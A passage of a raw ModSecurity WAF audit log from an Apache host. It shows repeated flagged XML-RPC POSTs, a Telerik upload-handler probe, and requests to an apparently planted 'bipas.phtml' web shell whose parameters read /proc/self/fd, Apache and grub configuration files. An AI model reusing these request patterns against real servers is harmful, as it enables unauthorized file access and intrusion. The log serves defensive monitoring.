(50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-DrmCnKbldJKSM7awhAQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041518457694 934533 (- - -) Stopwatch2: 1750041518457694 934533; combined=2376, p1=434, p2=1501, p3=47, p4=71, p5=198, sr=152, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54a8732d-Z-- --30f38c63-A-- [16/Jun/2025:08:09:27.585508 +0530] aE-D3-OzMRjUd1ppiI2wsAAAAAQ 50.19.79.213 42216 127.0.0.1 7081 --30f38c63-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//proc/self/fd&viewfile=//proc/self/fd/87 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 50.19.79.213 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --30f38c63-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --30f38c63-H-- Message: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/87"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/87"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-D3-OzMRjUd1ppiI2wsAAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041567581637 3932 (- - -) Stopwatch2: 1750041567581637 3932; combined=2123, p1=297, p2=1705, p3=37, p4=29, p5=55, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30f38c63-Z-- --9a8e0125-A-- [16/Jun/2025:08:09:39.067586 +0530] aE-D6mCnKbldJKSM7awhKAAAAAc 128.199.112.101 59424 127.0.0.1 7081 --9a8e0125-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9a8e0125-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9a8e0125-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-D6mCnKbldJKSM7awhKAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041578112137 955505 (- - -) Stopwatch2: 1750041578112137 955505; combined=2308, p1=419, p2=1532, p3=39, p4=53, p5=163, sr=142, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a8e0125-Z-- --bdb72b13-A-- [16/Jun/2025:08:10:39.341726 +0530] aE-EJuOzMRjUd1ppiI2w2AAAAAQ 128.199.112.101 54022 127.0.0.1 7081 --bdb72b13-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --bdb72b13-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --bdb72b13-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-EJuOzMRjUd1ppiI2w2AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041638383593 958198 (- - -) Stopwatch2: 1750041638383593 958198; combined=3667, p1=391, p2=2883, p3=49, p4=68, p5=172, sr=102, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdb72b13-Z-- --167fe917-A-- [16/Jun/2025:08:11:15.431205 +0530] aE-ES2CnKbldJKSM7awhaQAAAAc 216.73.216.83 34870 127.0.0.1 7081 --167fe917-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fdir.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --167fe917-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3077 Connection: close Content-Type: text/html; charset=UTF-8 --167fe917-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/dir.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/dir.conf found within ARGS:viewfile: /etc/apache2/mods-available/dir.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/dir.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/dir.conf found within ARGS:viewfile: /etc/apache2/mods-available/dir.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-ES2CnKbldJKSM7awhaQAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041675341964 89305 (- - -) Stopwatch2: 1750041675341964 89305; combined=171111, p1=446, p2=2356, p3=46, p4=48, p5=84145, sr=111, sw=0, l=0, gc=84070 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --167fe917-Z-- --ec0c9209-A-- [16/Jun/2025:08:11:39.659890 +0530] aE-EYroFnONBt7jRcByekQAAAA4 128.199.112.101 34110 127.0.0.1 7081 --ec0c9209-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ec0c9209-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ec0c9209-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-EYroFnONBt7jRcByekQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041698692043 967915 (- - -) Stopwatch2: 1750041698692043 967915; combined=2330, p1=463, p2=1457, p3=42, p4=66, p5=201, sr=106, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec0c9209-Z-- --38949001-A-- [16/Jun/2025:08:12:13.172313 +0530] aE-Eg0N_xpBAtP8SIP1AagAAAAo 103.26.143.47 59642 127.0.0.1 7081 --38949001-B-- GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.0 Host: www.tandonamit.com X-Real-IP: 103.26.143.47 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Accept-Encoding: gzip, br, deflate --38949001-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.tandonamit.com/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 28196 Connection: close Content-Type: text/html; charset=UTF-8 --38949001-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.tandonamit.com|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.tandonamit.com|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.tandonamit.com"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "aE-Eg0N_xpBAtP8SIP1AagAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/tandonamit.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041731358818 1813568 (- - -) Stopwatch2: 1750041731358818 1813568; combined=2208, p1=373, p2=1721, p3=0, p4=0, p5=114, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38949001-Z-- --a910a13f-A-- [16/Jun/2025:08:12:39.517855 +0530] aE-Envrb_uQIHEwgEhzf1gAAAAA 128.199.112.101 54114 127.0.0.1 7081 --a910a13f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a910a13f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a910a13f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Envrb_uQIHEwgEhzf1gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041758592176 925745 (- - -) Stopwatch2: 1750041758592176 925745; combined=2129, p1=376, p2=1352, p3=45, p4=65, p5=177, sr=110, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a910a13f-Z-- --3577c113-A-- [16/Jun/2025:08:13:39.440380 +0530] aE-E2lLyTgTLRBnIBDZlVQAAAAM 128.199.112.101 38514 127.0.0.1 7081 --3577c113-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3577c113-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3577c113-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-E2lLyTgTLRBnIBDZlVQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041818504395 936095 (- - -) Stopwatch2: 1750041818504395 936095; combined=2286, p1=361, p2=1533, p3=41, p4=65, p5=176, sr=103, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3577c113-Z-- --2e09582e-A-- [16/Jun/2025:08:13:49.779890 +0530] aE-E5frb_uQIHEwgEhzgAAAAAAA 216.73.216.83 42164 127.0.0.1 7081 --2e09582e-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fmime.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --2e09582e-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 5960 Connection: close Content-Type: text/html; charset=UTF-8 --2e09582e-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/mime.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/mime.conf found within ARGS:viewfile: /etc/apache2/mods-available/mime.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/mime.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/mime.conf found within ARGS:viewfile: /etc/apache2/mods-available/mime.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-E5frb_uQIHEwgEhzgAAAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041829775783 4174 (- - -) Stopwatch2: 1750041829775783 4174; combined=1996, p1=323, p2=1553, p3=31, p4=40, p5=48, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e09582e-Z-- --c9ddf737-A-- [16/Jun/2025:08:14:39.877579 +0530] aE-FFvrb_uQIHEwgEhzgHAAAAAA 128.199.112.101 34666 127.0.0.1 7081 --c9ddf737-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c9ddf737-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c9ddf737-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-FFvrb_uQIHEwgEhzgHAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041878947148 930487 (- - -) Stopwatch2: 1750041878947148 930487; combined=2313, p1=378, p2=1509, p3=48, p4=72, p5=188, sr=102, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9ddf737-Z-- --aee89218-A-- [16/Jun/2025:08:15:40.172987 +0530] aE-FUySg0_FUeePR9Z0DuwAAAAE 128.199.112.101 42916 127.0.0.1 7081 --aee89218-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --aee89218-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --aee89218-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-FUySg0_FUeePR9Z0DuwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041939214532 958533 (- - -) Stopwatch2: 1750041939214532 958533; combined=2347, p1=387, p2=1546, p3=46, p4=66, p5=186, sr=105, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aee89218-Z-- --2aba843a-A-- [16/Jun/2025:08:16:33.051744 +0530] aE-Fifrb_uQIHEwgEhzgWwAAAAA 216.73.216.83 42404 127.0.0.1 7081 --2aba843a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fdefault%2Fgrub.d&viewfile=%2F%2Fetc%2Fdefault%2Fgrub.d%2F50-cloudimg-settings.cfg HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --2aba843a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3202 Connection: close Content-Type: text/html; charset=UTF-8 --2aba843a-H-- Message: Warning. Matched phrase "etc/default/grub" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:path: /etc/default/grub.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/default/grub" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:viewfile: /etc/default/grub.d/50-cloudimg-settings.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/default/grub" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:path: /etc/default/grub.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Fifrb_uQIHEwgEhzgWwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/default/grub" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/default/grub found within ARGS:viewfile: /etc/default/grub.d/50-cloudimg-settings.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Fifrb_uQIHEwgEhzgWwAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041993047194 4605 (- - -) Stopwatch2: 1750041993047194 4605; combined=2459, p1=378, p2=1912, p3=39, p4=34, p5=96, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2aba843a-Z-- --2b874f6a-A-- [16/Jun/2025:08:16:40.391752 +0530] aE-Fj1LyTgTLRBnIBDZluwAAAAM 128.199.112.101 38684 127.0.0.1 7081 --2b874f6a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2b874f6a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2b874f6a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line 